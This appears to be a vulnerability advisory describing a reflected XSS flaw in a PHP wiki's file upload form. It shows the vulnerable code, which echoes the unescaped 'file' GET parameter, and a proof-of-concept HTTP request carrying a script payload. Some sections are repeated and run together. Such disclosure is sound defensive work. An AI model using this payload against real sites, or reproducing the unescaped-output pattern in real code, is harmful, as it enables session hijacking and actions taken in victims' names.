Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
public function showUploadForm()
{
$this->file = $_GET['file'];
echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
. ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
. ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
. " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
. " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
. ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
. "</form>\n";
}
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
Summary
Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
Vulnerable code
The vulnerability is located in the file
PoC
fileparameter, we can successfully obtain client side javascript executionImpact
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions